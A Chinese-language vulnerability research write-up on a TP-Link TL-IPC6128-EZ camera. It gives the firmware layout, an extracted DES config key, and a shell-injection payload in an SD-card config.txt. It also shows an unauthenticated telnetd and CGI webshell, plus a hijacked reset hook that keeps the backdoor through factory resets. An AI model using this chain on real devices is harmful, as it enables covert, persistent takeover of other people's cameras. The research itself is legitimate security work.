本文记录了对 TP-Link TL-IPC6128-EZ 网络摄像头的完整安全研究过程:通过构造特殊的 config.bin 进入工厂测试模式,利用 PERF_TEST 模块的命令注入漏洞获取 shell,并通过 overlayfs hook 实现跨恢复出厂的持久化。
目标设备
- 型号: TP-Link TL-IPC6128-EZ
- SoC: ARM 32-bit, EABI5
- 系统: Linux 4.19.91, uClibc 1.0.31
- 文件系统: SquashFS rootfs(只读)+ UBIFS overlay(可写,持久化)
- 核心进程:
/bin/main包含所有业务逻辑
0x01 固件分析
MTD 分区布局
mtd0: 2MB factory_boot 引导加载器
mtd1: 2.5MB factory_info 设备信息(MAC、硬件版本等)
mtd2: 1.5MB art 应用配置(radio calibration)
mtd3: 2MB config 设备配置(UBI 格式)
mtd4: 1MB normal_boot 正常启动引导
mtd5: 6MB kernel Linux 内核
mtd6: 32MB rootfs SquashFS 根文件系统
mtd7: 80MB rootfs_data UBIFS overlay 数据
mtd8: 1MB tp_header TP-Link 固件头
mtd9-12: 128MB×4 AI 模型数据(人脸/人形/车牌检测等)
文件系统架构
设备使用经典的 OpenWrt overlayfs 方案:
/(overlayfs)
├── lowerdir = SquashFS rootfs(只读)
└── upperdir = /overlay/upper(UBIFS,可写)
└── workdir = /overlay/work
/overlay/upper/ 中的文件会覆盖 rootfs 中的同名文件。这是持久化的关键。
启动流程
preinit → mount_root(挂载 UBIFS → fopivot 创建 overlayfs)
→ /sbin/init
→ /etc/init.d/rcS
→ S05boot
→ S10sysinit
→ S15monitor
→ S20main(启动 /bin/main)
→ S98*(自定义脚本在这里执行)
0x02 攻击面分析
SD 卡事件处理
/bin/main 监听 SD 卡插入事件,有三条处理路径:
| 路径 | 函数 | 触发条件 | 守卫条件 |
|---|---|---|---|
| PERF_TEST | sd_onboarding_cb | SD 卡插入 + factory_test_mode=1 | 检查 factory_test_mode(非 “main already start”) |
| PLUGIN_MANAGE | sd_plugin_ready_cb | SD 卡有 plugin 文件 | “main already start” 全局标志 |
| UPGRADE | sd_upgrade_res_cb | SD 卡有固件文件 | “main already start” 全局标志 |
PLUGIN_MANAGE 和 UPGRADE 都被 “main already start” 全局标志阻塞,main 启动后这个标志就被置位,无法绕过。
唯一可用的路径是 PERF_TEST,它检查的是 factory_test_mode 而非 “main already start”。
PERF_TEST 命令注入
sd_onboarding_cb(位于 0x22c744)的处理流程:
1. 检查 factory_test_mode == 1(从 /factory_info/factory_test_mode 读取)
2. 读取 SD 卡上的 config.txt
3. 解析 JSON 提取 ssid 和 password
4. url_decode(ssid) → snprintf(cmd, "... '%s' ...", ssid) → system(cmd)
关键反汇编(0x22c744 附近):
asm
; 读取 config.txt 中的 ssid
bl url_decode ; URL 解码 ssid
bl snprintf ; 格式化到命令字符串
; cmd = "ubus call onboarding connect '{\"ssid\":\"<ssid>\", ...}'"
bl system ; 执行命令!
日志字符串 [PERF_TEST]cmd is %s 确认了 system() 调用的存在。
漏洞: ssid 字段经过 url_decode 后直接拼接到 shell 命令中,没有任何过滤或转义。通过在 ssid 中注入 shell 元字符,可以执行任意命令。
0x03 进入工厂测试模式
config.bin 格式
设备的配置文件 config.bin 使用 DES-CBC 加密:
- 算法: DES-CBC
- 密钥:
D30474E282B5A282(从二进制中提取) - IV: 全零
- 内部格式: 自定义二进制容器,包含多个配置节点,每个节点是压缩的 JSON
构造 factory_test_mode config.bin
流程:
# 1. 从 Web UI 下载当前配置备份
# 浏览器打开 http://<摄像头IP> → 系统设置 → 备份配置
# 2. 修改配置,启用 factory_test_mode
python3 build_config_bin.py set config_backup.bin config_ftm.bin \
--kv 'factory_info.factory_test_mode.factory_test_mode.enabled=1'
# 3. 通过 Web UI 上传修改后的 config_ftm.bin
# 系统设置 → 恢复配置 → 选择 config_ftm.bin
上传后设备重启,进入工厂测试模式。此时:
- 所有模块进入工厂状态
- OSD 不显示
- LED 闪红灯
- PERF_TEST 路径被激活
建议使用从同一台设备当前状态导出的备份作为基础。使用其他设备或旧版本的配置可能导致设备无响应。
0x04 命令注入获取 Shell
准备 SD 卡
SD 卡根目录需要三个文件:
/sdcard/
├── config.txt # 命令注入 payload
├── busybox_arm32 # 静态编译的 busybox(ARM32)
└── s.sh # 部署脚本
config.txt —— 注入 payload
{
"ssid": "x';sh /tmp/sdcard/s.sh;echo '",
"password": "x"
}
当 sd_onboarding_cb 处理这个 ssid 时,实际执行的命令变成:
ubus call onboarding connect '{"ssid":"x';sh /tmp/sdcard/s.sh;echo '", "password":"x"}'
分解一下:
ubus call onboarding connect '{"ssid":"x'— ubus 命令,ssid 部分被截断;sh /tmp/sdcard/s.sh;— 注入的命令echo '", "password":"x"}'— 消化剩余字符串,避免语法错误
绕过”保护环境”
设备的 /bin/ash 有命令白名单,大部分命令会返回 "cmd not supported under protected environment"。绕过方法:
# 用 busybox_full 创建一个不受限制的 ash
BB="/overlay/upper/bin/busybox_full"
ln -sf "$BB" /tmp/ash
# 在不受限制的 ash 上启动 telnetd
"$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0
端口 4445 上的 telnet 会话使用 busybox 自带的 ash,不受保护环境限制。
0x05 部署脚本详解
s.sh 是 PERF_TEST 注入后自动执行的核心脚本,完成以下任务:
Phase 1: 部署 Shell 到 Overlay
# Busybox
mkdir -p /overlay/upper/bin
cp /tmp/sdcard/busybox_arm32 /overlay/upper/bin/busybox_full
chmod 755 /overlay/upper/bin/busybox_full
# CGI Webshell(通过 HTTP 执行命令)
mkdir -p /overlay/upper/www/cgi-bin
cat > /overlay/upper/www/cgi-bin/sh << 'CGI'
#!/bin/ash
echo "Content-Type: text/plain"; echo ""
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p')
# ... URL 解码 + eval 执行 ...
CGI
# 开机自启脚本(S98remote)
cat > /overlay/upper/etc/init.d/remote << 'INIT'
#!/bin/ash /etc/rc.common
START=98
start() {
BB="/overlay/upper/bin/busybox_full"
ln -sf "$BB" /tmp/ash
"$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0
"$BB" httpd -p 8888 -h /overlay/upper/www
}
INIT
ln -sf ../init.d/remote /overlay/upper/etc/rc.d/S98remote
写入 /overlay/upper/ 的文件通过 overlayfs 覆盖 rootfs,重启后依然存在。
Phase 2: 连接 Wi-Fi
工厂模式下 Wi-Fi 驱动已加载(PERF_TEST 本身就需要测试 Wi-Fi),但注入破坏了原始的 onboarding 命令。脚本用正确的凭据重新连接:
ubus call onboarding connect '{"ssid":"OOXX", "password":"12345678"}'
Phase 3: 启动服务
BB="/overlay/upper/bin/busybox_full"
ln -sf "$BB" /tmp/ash
"$BB" telnetd -l /tmp/ash -p 4445 -b 0.0.0.0 # 无限制 shell
"$BB" httpd -p 8888 -h /overlay/upper/www # webshell
部署完成后,连接:
telnet <摄像头IP> 4445
# 或浏览器访问 http://<摄像头IP>:8888/cgi-bin/sh?cmd=id
0x06 持久化:自愈 Hook
问题
Shell 部署在 /overlay/upper/ 中,正常重启时会保留。但恢复出厂设置会清空 /overlay/upper/:
# /hooks/post_reset_hook.sh(rootfs 中的原始版本)
#!/bin/sh
if [ -d "/overlay" ]; then
cd /overlay
rm -rf `ls | grep -v "plugins"`
fi
注意:plugins/ 目录被保留(grep -v "plugins"),因为里面存放 AI 模型文件。
解决方案:Hook 劫持
通过 overlayfs 覆盖 post_reset_hook.sh,让恢复出厂设置时自动恢复 shell 文件。
关键前提验证(通过反汇编确认):
/bin/main 在 0x23a418 处调用 hook:
0x23a418: push {r4, lr}
0x23a41c: bl 0x23a318 ; config_recovery(重置配置)
0x23a420: cmn r0, #1
0x23a424: popeq {r4, pc} ; 不需要重置则返回
0x23a42c: ldr r0, "/hooks/post_reset_hook.sh"
0x23a430: bl access@plt ; 检查文件是否存在
0x23a440: bl system@plt ; 执行 hook
0x23a448: b reboot@plt ; 重启
关键事实:
- Hook 由
main在运行时调用,此时 overlayfs 已挂载 system("/hooks/post_reset_hook.sh")通过 overlayfs 解析路径- 我们在
/overlay/upper/hooks/的文件会优先于 rootfs 中的原版 - Hook 执行完毕后才调用
reboot()
实现
Step 1: 备份到 plugins/(恢复出厂不删除)
mkdir -p /overlay/plugins/shell_backup/restore/{bin,etc/init.d,www/cgi-bin,hooks}
cp /overlay/upper/bin/busybox_full /overlay/plugins/shell_backup/restore/bin/
cp /overlay/upper/etc/init.d/remote /overlay/plugins/shell_backup/restore/etc/init.d/
cp /overlay/upper/www/cgi-bin/sh /overlay/plugins/shell_backup/restore/www/cgi-bin/
# 权限恢复脚本
cat > /overlay/plugins/shell_backup/restore/fix_links.sh << 'EOF'
#!/bin/ash
mkdir -p /overlay/upper/etc/rc.d
ln -sf ../init.d/remote /overlay/upper/etc/rc.d/S98remote
chmod 755 /overlay/upper/bin/busybox_full
chmod 755 /overlay/upper/etc/init.d/remote
chmod 755 /overlay/upper/www/cgi-bin/sh
EOF
Step 2: 覆盖 post_reset_hook.sh
mkdir -p /overlay/upper/hooks
cat > /overlay/upper/hooks/post_reset_hook.sh << 'HOOK'
#!/bin/sh
RESTORE_SRC="/overlay/plugins/shell_backup/restore"
if [ -d "/overlay" ]; then
cd /overlay
# 原始行为:删除除 plugins/ 以外的一切
rm -rf $(ls | grep -v "plugins")
# 自愈:从 plugins/ 恢复 shell
if [ -d "$RESTORE_SRC" ]; then
mkdir -p /overlay/upper
cp -r ${RESTORE_SRC}/bin /overlay/upper/
cp -r ${RESTORE_SRC}/etc /overlay/upper/
cp -r ${RESTORE_SRC}/www /overlay/upper/
cp -r ${RESTORE_SRC}/hooks /overlay/upper/
sh ${RESTORE_SRC}/fix_links.sh 2>/dev/null
mkdir -p /overlay/work/work
fi
fi
HOOK
chmod 755 /overlay/upper/hooks/post_reset_hook.sh
工作流程
用户按 Reset 按钮
↓
main 检测到 GPIO 事件
↓
config_recovery() — 重置所有配置(factory_test_mode → 0)
↓
system("/hooks/post_reset_hook.sh") — 执行我们的版本!
↓
rm -rf upper/ work/ — 清理(hook 自身也被删除,但已在内存中)
↓
cp -r plugins/restore/* → upper/ — 恢复 shell 文件
↓
reboot()
↓
设备启动:正常模式 + shell
Hook 自身也被复制回 upper/hooks/,因此后续的恢复出厂设置也会自愈——无限循环持久化。
0x07 完整攻击流程总结
┌───────────────────────────┐
│ 1. 从 Web UI 下载 config.bin 备份 │
│ 2. 修改 factory_test_mode.enabled = 1 │
│ 3. 上传修改后的 config.bin → 设备进入工厂模式 │
├───────────────────────────┤
│ 4. 准备 SD 卡:config.txt + busybox + s.sh │
│ 5. 插入 SD 卡 → PERF_TEST 触发命令注入 │
│ 6. s.sh 自动部署 shell + 安装自愈 hook │
├───────────────────────────┤
│ 7. 按 Reset 按钮恢复出厂 │
│ 8. 自愈 hook 自动恢复 shell │
│ 9. 设备回到正常模式,shell 完好 │
│ 10. 重新配对摄像头,完成 │
└───────────────────────────┘
0x08 踩坑记录
ubus 在工厂模式下为空
工厂模式下 main 的所有模块进入工厂状态,ubus 服务注册被跳过。因此无法通过 ubus 命令退出工厂模式。
factory_test_mode 存储位置
factory_test_mode 通过 /dev/slp_flash_chrdev(专有内核驱动,ioctl 接口)存储,不在标准 MTD/UBI 设备中。无法通过 dd 或 mount 直接修改。只有 config_recovery(恢复出厂)能将其重置为 0。